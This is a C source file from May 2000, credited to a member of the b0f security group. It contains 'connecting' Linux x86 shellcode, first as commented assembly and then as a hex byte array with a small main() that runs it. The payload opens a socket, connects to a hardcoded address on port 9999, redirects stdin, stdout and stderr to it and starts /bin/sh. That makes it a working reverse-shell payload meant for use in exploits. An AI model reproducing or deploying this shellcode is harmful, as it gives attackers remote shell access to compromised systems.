/*
Connecting shellcode written by lamagra <access-granted@geocities.com>
lamagra is a member of b0f/buffer0verfl0w security
http://lamagra.seKure.de - http://www.b0f.com

May 2000

.file   "connect"
.version        "01.01"
.text
        .align 4
_start:
        #socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
        movl %esp,%ebp
        xorl %edx,%edx
        movb $102,%edx
        movl %edx,%eax          # 102 = socketcall
        xorl %ecx,%ecx
        movl %ecx,%ebx
        incl %ebx               # socket()
        movl %ebx, -8(%ebp)     # 1 = SOCK_STREAM
        incl %ebx
        movl %ebx, -12(%ebp)    # 2 = AF_INET
        decl %ebx               # 1 = SYS_socket
        movl %ecx, -4(%ebp)     # 0 = IPPROTO_IP 
        leal -12(%ebp),%ecx     # put args in correct place
        int  $0x80              # switch to kernel-mode
        xorl %ecx,%ecx
        movl %eax,-12(%ebp)     # save the fd

        # connect(fd,(struct sockaddr *)&struct,16);
        incl %ebx
        movw %ebx,-20(%ebp)     # 2 = PF_INET
        movw $9999,-18(%ebp)    # 9999 = htons(3879);
        movl $0x100007f,-16(%ebp) # htonl(IP) 
        leal -20(%ebp),%eax     # struct sockaddr
        movl %eax,-8(%ebp)      # load the struct
        movb $16,-4(%ebp)       # 16 = sizeof(sockaddr)
        movl %edx,%eax          # 102 = socketcall
        incl %ebx               # 3 = SYS_connect
        leal -12(%ebp),%ecx     # put args in place
        int  $0x80              # call socketcall()

        # dup2(fd,0-1-2)
        xorl %ecx,%ecx
        movb $63,%eax           # 63 = dup2()
        int  $0x80
        incl %ecx
        cmpl $3,%ecx
        jne  -0xa

        # arg[0] = "/bin/sh"
        # arg[1] = 0x0
        # execve(arg[0],arg);
        jmp  0x18
        popl %esi
        movl %esi,0x8(%ebp)
        xorl %eax,%eax
        movb %eax,0x7(%esi)
        movl %eax,0xc(%ebp)
        movb $0xb,%al
        movl %esi,%ebx
        leal 0x8(%ebp),%ecx     
        leal 0xc(%ebp),%edx     
        int  $0x80      
        call -0x1d
        .string "/bin/sh"
*/

#define NAME "connecting"

char code[]=
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0"
"\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0"
"\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03"
"\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c"
"\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff"
"\xff/bin/sh";


main()
{
  int (*funct)();
  funct = (int (*)()) code;
  printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code));
  (int)(*funct)();
}